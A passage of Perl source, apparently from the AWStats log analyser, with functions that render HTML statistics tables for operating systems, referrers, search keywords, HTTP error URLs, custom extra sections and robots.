= (); my $TotalFamily_h = 0; my $TotalFamily_p = 0; OSLOOP: foreach my $key (@keylist) { $total_h += $_os_h{$key}; $total_p += $_os_p{$key}; if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; } if ( $_os_p{$key} > $max_p ) { $max_p = $_os_p{$key}; } foreach my $family ( keys %OSFamily ) { if ( $key =~ /^$family/i ) { $totalfamily_h{$family} += $_os_h{$key}; $totalfamily_p{$family} += $_os_p{$key}; $TotalFamily_h += $_os_h{$key}; $TotalFamily_p += $_os_p{$key}; next OSLOOP; } } } # Write records grouped in a browser family foreach my $family ( keys %OSFamily ) { my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } my $familyheadershown = 0; foreach my $key ( reverse sort keys %_os_h ) { if ( $key =~ /^$family(.*)/i ) { if ( !$familyheadershown ) { my $family_name = ''; if ( $OSFamily{$family} ) { $family_name = $OSFamily{$family}; } print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>"; print "<td><b>" . Format_Number(int( $totalfamily_p{$family} )) . "</b></td><td><b>$p_p</b></td>"; print "<td><b>" . Format_Number(int( $totalfamily_h{$family} )) . "</b></td><td><b>$p_h</b></td><td> </td>"; print "</tr>\n"; $familyheadershown = 1; } $keysinkeylist{$key} = 1; my $ver = $1; my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } print "<tr>"; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/os\/$key.png\"" . AltTitle("") . " /></td>"; print "<td class=\"aws\">$OSHashLib{$key}</td>"; my $bredde_h = 0; my $bredde_p = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1; } if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; } if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; } print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; print "<td class=\"aws\">"; # alt and title are not provided to reduce page size if ($ShowOSStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; } print "</td>"; print "</tr>\n"; $count++; } } } # Write other records my $familyheadershown = 0; foreach my $key (@keylist) { if ( $keysinkeylist{$key} ) { next; } if ( !$familyheadershown ) { my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } print "<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; print "<td><b>" . Format_Number(( $total_p - $TotalFamily_p )) . "</b></td><td><b>$p_p</b></td>"; print "<td><b>" . Format_Number(( $total_h - $TotalFamily_h )) . "</b></td><td><b>$p_h</b></td><td> </td>"; print "</tr>\n"; $familyheadershown = 1; } my $p_h = ' '; my $p_p = ' '; if ($total_h) { $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; $p_h = "$p_h %"; } if ($total_p) { $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; $p_p = "$p_p %"; } print "<tr>"; if ( $key eq 'Unknown' ) { print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/browser\/unknown.png\"" . AltTitle("") . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; } else { my $keywithoutcumul = $key; $keywithoutcumul =~ s/cumul$//i; my $libos = $OSHashLib{$keywithoutcumul} || $keywithoutcumul; my $nameicon = $keywithoutcumul; $nameicon =~ s/[^\w]//g; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/os\/$nameicon.png\"" . AltTitle("") . " /></td><td class=\"aws\">$libos</td>"; } my $bredde_h = 0; my $bredde_p = 0; if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1; } if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; } if ( $max_p > 0 ) { $bredde_p = int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1; } if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; } print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; print "<td class=\"aws\">"; # alt and title are not provided to reduce page size if ($ShowOSStats) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; } print "</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Unknown OS Detail frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowOSUnknown{ my $NewLinkTarget = shift; print "$Center<a name=\"unknownos\"> </a><br />\n"; my $title = "$Message[46]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERER&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'unknownos' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" . ( scalar keys %_unknownreferer_l ) . ")</th><th>$Message[9]</th></tr>\n"; my $total_l = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l, \%_unknownreferer_l ); foreach my $key (@keylist) { my $useragent = XMLEncode( CleanXSS($key) ); print "<tr><td class=\"aws\">$useragent</td>"; print "<td nowrap=\"nowrap\">" . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>"; print "</tr>\n"; $total_l += 1; $count++; } my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l; if ( $rest_l > 0 ) { print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td>-</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Referers frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowReferers{ my $NewLinkTarget = shift; print "$Center<a name=\"refererse\"> </a><br />\n"; my $title = "$Message[40]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=SEREFERRALS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( $title, 19, 0, 'refererse' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>"; print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; print "</tr>\n"; my $total_s = 0; my $total_p = 0; my $total_h = 0; my $rest_p = 0; my $rest_h = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Refer'}, \%_se_referrals_h, ( ( scalar keys %_se_referrals_p ) ? \%_se_referrals_p : \%_se_referrals_h ) ); # before 5.4 only hits were recorded foreach my $key (@keylist) { my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key); my $p_p; my $p_h; if ($TotalSearchEnginesPages) { $p_p = int( $_se_referrals_p{$key} / $TotalSearchEnginesPages * 1000 ) / 10; } if ($TotalSearchEnginesHits) { $p_h = int( $_se_referrals_h{$key} / $TotalSearchEnginesHits * 1000 ) / 10; } print "<tr><td class=\"aws\">$newreferer</td>"; print "<td>" . ( $_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' ) . "</td>"; print "<td>" . ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>"; print "<td>".Format_Number($_se_referrals_h{$key})."</td>"; print "<td>$p_h %</td>"; print "</tr>\n"; $total_p += $_se_referrals_p{$key}; $total_h += $_se_referrals_h{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", 2 ); } $rest_p = $TotalSearchEnginesPages - $total_p; $rest_h = $TotalSearchEnginesHits - $total_h; if ( $rest_p > 0 || $rest_h > 0 ) { my $p_p; my $p_h; if ($TotalSearchEnginesPages) { $p_p = int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10; } if ($TotalSearchEnginesHits) { $p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; print "<td>".Format_Number($rest_h)."</td>"; print "<td>$p_h %</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Referer Pages frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowRefererPages{ my $NewLinkTarget = shift; print "$Center<a name=\"refererpages\"> </a><br />\n"; my $total_p = 0; my $total_h = 0; my $rest_p = 0; my $rest_h = 0; # Show filter form &HTMLShowFormFilter( "refererpagesfilter", $FilterIn{'refererpages'}, $FilterEx{'refererpages'} ); my $title = "$Message[41]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=PAGEREFS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } my $cpt = 0; $cpt = ( scalar keys %_pagesrefs_h ); &tab_head( "$title", 19, 0, 'refererpages' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { if ( $FilterIn{'refererpages'} ) { print "$Message[79] <b>$FilterIn{'refererpages'}</b>"; } if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) { print " - "; } if ( $FilterEx{'refererpages'} ) { print "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>"; } if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { print ": "; } print "$cpt $Message[28]"; #if ($MonthRequired ne 'all') { # if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; } #} } else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } print "</th>"; print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; print "</tr>\n"; my $total_s = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Refer'}, \%_pagesrefs_h, ( ( scalar keys %_pagesrefs_p ) ? \%_pagesrefs_p : \%_pagesrefs_h ) ); foreach my $key (@keylist) { my $nompage = CleanXSS($key); if ( length($nompage) > $MaxLengthOfShownURL ) { $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; } my $p_p; my $p_h; if ($TotalRefererPages) { $p_p = int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) / 10; } if ($TotalRefererHits) { $p_h = int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) / 10; } print "<tr><td class=\"aws\">"; &HTMLShowURLInfo($key); print "</td>"; print "<td>" . ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : ' ' ) . "</td><td>" . ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>"; print "<td>" . ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : ' ' ) . "</td><td>" . ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>"; print "</tr>\n"; $total_p += $_pagesrefs_p{$key}; $total_h += $_pagesrefs_h{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", 2 ); } $rest_p = $TotalRefererPages - $total_p; $rest_h = $TotalRefererHits - $total_h; if ( $rest_p > 0 || $rest_h > 0 ) { my $p_p; my $p_h; if ($TotalRefererPages) { $p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10; } if ($TotalRefererHits) { $p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; print "<td>".Format_Number($rest_h)."</td>"; print "<td>$p_h %</td>"; print "</tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Key Phrases frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowKeyPhrases{ my $NewLinkTarget = shift; print "$Center<a name=\"keyphrases\"> </a><br />\n"; my $title = "$Message[43]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=SEARCHWORDS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( $title, 19, 0, 'keyphrases' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(15) . "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; my $total_s = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases ); foreach my $key (@keylist) { my $mot; # Convert coded keywords (utf8,...) to be correctly reported in HTML page. if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { $mot = CleanXSS( DecodeKey_decodeutfkeys( $key, $PageCode || 'iso-8859-1' ) ); } else { $mot = CleanXSS( DecodeEncodedString($key) ); } my $p; if ($TotalKeyphrases) { $p = int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; } print "<tr><td class=\"aws\">" . XMLEncode($mot) . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; $total_s += $_keyphrases{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); } my $rest_s = $TotalKeyphrases - $total_s; if ( $rest_s > 0 ) { my $p; if ($TotalKeyphrases) { $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>"; print "<td>$p %</td></tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the Keywords frame or static page # Parameters: $NewLinkTarget # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowKeywords{ my $NewLinkTarget = shift; print "$Center<a name=\"keywords\"> </a><br />\n"; my $title = "$Message[44]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=KEYWORDS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( $title, 19, 0, 'keywords' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(15) . "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; my $total_s = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'}, \%_keywords, \%_keywords ); foreach my $key (@keylist) { my $mot; # Convert coded keywords (utf8,...) to be correctly reported in HTML page. if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { $mot = CleanXSS( DecodeKey_decodeutfkeys( $key, $PageCode || 'iso-8859-1' ) ); } else { $mot = CleanXSS( DecodeEncodedString($key) ); } my $p; if ($TotalKeywords) { $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; } print "<tr><td class=\"aws\">" . XMLEncode($mot) . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; $total_s += $_keywords{$key}; $count++; } if ($Debug) { debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); } my $rest_s = $TotalKeywords - $total_s; if ( $rest_s > 0 ) { my $p; if ($TotalKeywords) { $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; } print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>"; print "<td>$p %</td></tr>\n"; } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the HTTP Error code frame or static page # Parameters: $code - the error code we're printing # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowErrorCodes{ my $code = shift; my $title; my %customtitles = ( "404", "$Message[47]" ); $title = $customtitles{$code} ? $customtitles{$code} : (join(' ', ( ($httpcodelib{$code} ? $httpcodelib{$code} : 'Unknown error'), "urls (HTTP code " . $code . ")" ))); print "$Center<a name=\"errors$code\"> </a><br />\n"; &tab_head( $title, 19, 0, "errors$code" ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL (" . Format_Number(( scalar keys %{$_sider_h{$code}} )) . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th>"; foreach (split(//, $ShowHTTPErrorsPageDetail)) { if ( $_ =~ /R/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[23]</th>"; } elsif ( $_ =~ /H/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[81]</th>"; } } print "</tr>\n"; my $total_h = 0; my $count = 0; &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%{$_sider_h{$code}}, \%{$_sider_h{$code}} ); foreach my $key (@keylist) { my $nompage = XMLEncode( CleanXSS($key) ); #if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; } my $referer = XMLEncode( CleanXSS( $_referer_h{$code}{$key} ) ); my $host = XMLEncode( CleanXSS( $_err_host_h{$code}{$key} ) ); print "<tr><td class=\"aws\">$nompage</td>"; print "<td>".Format_Number($_sider_h{$code}{$key})."</td>"; foreach (split(//, $ShowHTTPErrorsPageDetail)) { if ( $_ =~ /R/i ) { print "<td class=\"aws\">" . ( $referer ? "$referer" : " " ) . "</td>"; } elsif ( $_ =~ /H/i ) { print "<td class=\"aws\">" . ( $host ? "$host" : " " ) . "</td>"; } } print "</tr>\n"; my $total_s += $_sider_h{$code}{$key}; $count++; } # TODO Build TotalErrorHits # if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); } # $rest_h=$TotalErrorHits-$total_h; # if ($rest_h > 0) { # my $p; # if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; } # print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>"; # print "<td>$rest_h</td>"; # print "<td>...</td>"; # print "</tr>\n"; # } &tab_end(); &html_end(1); } #------------------------------------------------------------------------------ # Function: Loops through any defined extra sections and dumps the info to HTML # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowExtraSections{ foreach my $extranum ( 1 .. @ExtraName - 1 ) { my $total_p = 0; my $total_h = 0; my $total_k = 0; if ( $HTMLOutput{"allextra$extranum"} ) { if ($Debug) { debug( "ExtraName$extranum", 2 ); } print "$Center<a name=\"extra$extranum\"> </a><br />"; my $title = $ExtraName[$extranum]; &tab_head( "$title ($Message[77] $MaxNbOfExtra[$extranum])", 19, 0, "extra$extranum"); print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; $total_p = $total_h = $total_k = 0; #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } } my $count = 0; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHitExtra[$extranum], \%{ '_section_' . $extranum . '_h' }, \%{ '_section_' . $extranum . '_p' } ); } else { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHitExtra[$extranum], \%{ '_section_' . $extranum . '_h' }, \%{ '_section_' . $extranum . '_h' } ); } my %keysinkeylist = (); foreach my $key (@keylist) { $keysinkeylist{$key} = 1; my $firstcol = CleanXSS( DecodeEncodedString($key) ); $total_p += ${ '_section_' . $extranum . '_p' }{$key}; $total_h += ${ '_section_' . $extranum . '_h' }{$key}; $total_k += ${ '_section_' . $extranum . '_k' }{$key}; print "<tr>"; printf( "<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>", $firstcol, $firstcol, $firstcol, $firstcol, $firstcol ); if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . Format_Bytes( ${ '_section_' . $extranum . '_k' }{$key} ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td>" . ( ${ '_section_' . $extranum . '_l' }{$key} ? Format_Date( ${ '_section_' . $extranum . '_l' }{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; $count++; } # If we ask average or sum, we loop on all other records if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] ) { foreach ( keys %{ '_section_' . $extranum . '_h' } ) { if ( $keysinkeylist{$_} ) { next; } $total_p += ${ '_section_' . $extranum . '_p' }{$_}; $total_h += ${ '_section_' . $extranum . '_h' }{$_}; $total_k += ${ '_section_' . $extranum . '_k' }{$_}; $count++; } } # Add average row if ( $ExtraAddAverageRow[$extranum] ) { print "<tr>"; print "<td class=\"aws\"><b>$Message[96]</b></td>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . ( $count ? Format_Bytes( $total_k / $count ) : " " ) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td> </td>"; } print "</tr>\n"; } # Add sum row if ( $ExtraAddSumRow[$extranum] ) { print "<tr>"; print "<td class=\"aws\"><b>$Message[102]</b></td>"; if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { print "<td>" . ($total_p) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { print "<td>" . ($total_h) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { print "<td>" . Format_Bytes($total_k) . "</td>"; } if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end(); &html_end(1); } } } #------------------------------------------------------------------------------ # Function: Prints the Robot details frame or static page # Parameters: _ # Input: _ # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLShowRobots{ my $total_p = 0; my $total_h = 0; my $total_k = 0; my $total_r = 0; my $rest_p = 0; my $rest_h = 0; my $rest_k = 0; my $rest_r = 0; print "$Center<a name=\"robots\"> </a><br />\n"; my $title = ''; if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; } if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; } &tab_head( "$title", 19, 0, 'robots' ); print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" . Format_Number(( scalar keys %_robot_h )) . " $Message[51]</th>"; if ( $ShowRobotsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; $total_p = $total_h = $total_k = $total_r = 0; my $count = 0; if ( $HTMLOutput{'allrobots'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, \%_robot_h, \%_robot_h ); } if ( $HTMLOutput{'lastrobots'} ) { &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, \%_robot_h, \%_robot_l ); } foreach my $key (@keylist) { print "<tr><td class=\"aws\">" . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) . "</td>"; if ( $ShowRobotsStats =~ /H/i ) { print "<td>" . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<td>" . ( $_robot_l{$key} ? Format_Date( $_robot_l{$key}, 1 ) : '-' ) . "</td>"; } print "</tr>\n"; #$total_p += $_robot_p{$key}||0; $total_h += $_robot_h{$key}; $total_k += $_robot_k{$key} || 0; $total_r += $_robot_r{$key} || 0; $count++; } # For bots we need to count Totals my $TotalPagesRobots = 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } my $TotalHitsRobots = 0; foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } my $TotalBytesRobots = 0; foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } my $TotalRRobots = 0; foreach ( values %_robot_r ) { $TotalRRobots += $_; } $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; $rest_h = $TotalHitsRobots - $total_h; $rest_k = $TotalBytesRobots - $total_k; $rest_r = $TotalRRobots - $total_r; if ($Debug) { debug( "Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k", 2 ); } if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) { # All other robots print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowRobotsStats =~ /B/i ) { print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; } if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } print "</tr>\n"; } &tab_end( "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); &html_end(1); } #------------------------------------------------------------------------------ # Function: Prints the URL, Entry or Exit details frame or static page # Parameters: _ # 